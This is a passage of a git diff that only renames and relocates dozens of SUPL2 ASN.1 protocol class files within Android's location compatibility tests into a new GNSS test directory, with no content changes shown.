diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify_response/Ver2_SUPLNOTIFYRESPONSE.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_notify_response/Ver2_SUPLNOTIFYRESPONSE.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify_response/Ver2_SUPLNOTIFYRESPONSE.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_notify_response/Ver2_SUPLNOTIFYRESPONSE.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos/PosPayLoad.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos/PosPayLoad.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos/PosPayLoad.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos/PosPayLoad.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos/SUPLPOS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos/SUPLPOS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos/SUPLPOS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos/SUPLPOS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/NavigationModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/NavigationModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/NavigationModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/NavigationModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/RequestedAssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/RequestedAssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/RequestedAssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/RequestedAssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SUPLPOSINIT.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/SUPLPOSINIT.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SUPLPOSINIT.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/SUPLPOSINIT.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SatelliteInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/SatelliteInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SatelliteInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/SatelliteInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SatelliteInfoElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/SatelliteInfoElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SatelliteInfoElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/SatelliteInfoElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/GANSSSignalsDescription.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/GANSSSignalsDescription.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/GANSSSignalsDescription.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/GANSSSignalsDescription.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/GANSSsignalsInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/GANSSsignalsInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/GANSSsignalsInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/GANSSsignalsInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/PositionData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/PositionData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/PositionData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/PositionData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ReportData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/ReportData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ReportData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/ReportData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ReportDataList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/ReportDataList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ReportDataList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/ReportDataList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ResultCode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/ResultCode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ResultCode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/ResultCode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/SessionInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/SessionInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/SessionInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/SessionInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/SessionList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/SessionList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/SessionList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/SessionList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/TimeStamp.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/TimeStamp.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/TimeStamp.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/TimeStamp.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/Ver2_SUPLREPORT.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/Ver2_SUPLREPORT.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/Ver2_SUPLREPORT.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/Ver2_SUPLREPORT.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/KeyIdentity4.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_response/KeyIdentity4.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/KeyIdentity4.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_response/KeyIdentity4.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/SETAuthKey.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_response/SETAuthKey.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/SETAuthKey.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_response/SETAuthKey.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/SUPLRESPONSE.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_response/SUPLRESPONSE.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/SUPLRESPONSE.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_response/SUPLRESPONSE.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_set_init/Ver2_SUPLSETINIT.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_set_init/Ver2_SUPLSETINIT.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_set_init/Ver2_SUPLSETINIT.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_set_init/Ver2_SUPLSETINIT.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PosProtocol.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/PosProtocol.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PosProtocol.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/PosProtocol.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PosTechnology.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/PosTechnology.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PosTechnology.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/PosTechnology.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PrefMethod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/PrefMethod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PrefMethod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/PrefMethod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/SETCapabilities.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/SETCapabilities.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/SETCapabilities.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/SETCapabilities.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/SUPLSTART.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/SUPLSTART.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/SUPLSTART.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/SUPLSTART.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/BatchRepConditions.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/BatchRepConditions.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/BatchRepConditions.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/BatchRepConditions.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/BatchRepType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/BatchRepType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/BatchRepType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/BatchRepType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/RepMode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/RepMode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/RepMode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/RepMode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/ReportingMode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/ReportingMode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/ReportingMode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/ReportingMode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/Ver2_SUPLTRIGGEREDRESPONSE.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/Ver2_SUPLTRIGGEREDRESPONSE.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/Ver2_SUPLTRIGGEREDRESPONSE.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/Ver2_SUPLTRIGGEREDRESPONSE.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaEventParams.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaEventParams.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaEventParams.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaEventParams.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaEventType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaEventType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaEventType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaEventType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaIdList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaIdList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaIdSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaIdSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdSetType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaIdSetType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdSetType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaIdSetType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/CDMAAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/CDMAAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/CDMAAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/CDMAAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GSMAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GSMAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GSMAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GSMAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeoAreaIndex.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeoAreaIndex.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeoAreaIndex.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeoAreaIndex.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeoAreaMappingList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeoAreaMappingList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeoAreaMappingList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeoAreaMappingList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeographicTargetArea.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeographicTargetArea.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeographicTargetArea.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeographicTargetArea.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeographicTargetAreaList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeographicTargetAreaList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeographicTargetAreaList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeographicTargetAreaList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/HRPDAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/HRPDAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/HRPDAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/HRPDAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/LTEAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/LTEAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/LTEAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/LTEAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/PeriodicParams.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/PeriodicParams.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/PeriodicParams.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/PeriodicParams.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/RepeatedReportingParams.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/RepeatedReportingParams.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/RepeatedReportingParams.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/RepeatedReportingParams.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/TriggerParams.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/TriggerParams.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/TriggerParams.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/TriggerParams.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/TriggerType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/TriggerType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/TriggerType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/TriggerType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/UMBAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/UMBAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/UMBAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/UMBAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/Ver2_SUPLTRIGGEREDSTART.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/Ver2_SUPLTRIGGEREDSTART.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/Ver2_SUPLTRIGGEREDSTART.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/Ver2_SUPLTRIGGEREDSTART.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WCDMAAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/WCDMAAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WCDMAAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/WCDMAAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WLANAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/WLANAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WLANAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/WLANAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WimaxAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/WimaxAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WimaxAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/WimaxAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_stop/Ver2_SUPLTRIGGEREDSTOP.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_stop/Ver2_SUPLTRIGGEREDSTOP.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_stop/Ver2_SUPLTRIGGEREDSTOP.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_stop/Ver2_SUPLTRIGGEREDSTOP.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp/ULP_PDU.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp/ULP_PDU.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp/ULP_PDU.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp/ULP_PDU.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp/UlpMessage.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp/UlpMessage.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp/UlpMessage.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp/UlpMessage.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/AltitudeInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/AltitudeInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/AltitudeInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/AltitudeInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CPICH_Ec_N0.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CPICH_Ec_N0.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CPICH_Ec_N0.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CPICH_Ec_N0.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CPICH_RSCP.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CPICH_RSCP.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CPICH_RSCP.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CPICH_RSCP.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CdmaCellInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CdmaCellInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CdmaCellInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CdmaCellInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellMeasuredResults.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellMeasuredResults.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellMeasuredResults.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellMeasuredResults.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellMeasuredResultsList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellMeasuredResultsList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellMeasuredResultsList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellMeasuredResultsList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellParametersID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellParametersID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellParametersID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/CellParametersID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/ChipRate.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/ChipRate.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/ChipRate.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/ChipRate.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FQDN.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FQDN.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FQDN.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FQDN.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FrequencyInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FrequencyInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfoFDD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FrequencyInfoFDD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfoFDD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FrequencyInfoFDD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfoTDD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FrequencyInfoTDD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfoTDD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/FrequencyInfoTDD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/GsmCellInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/GsmCellInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/GsmCellInformation.java
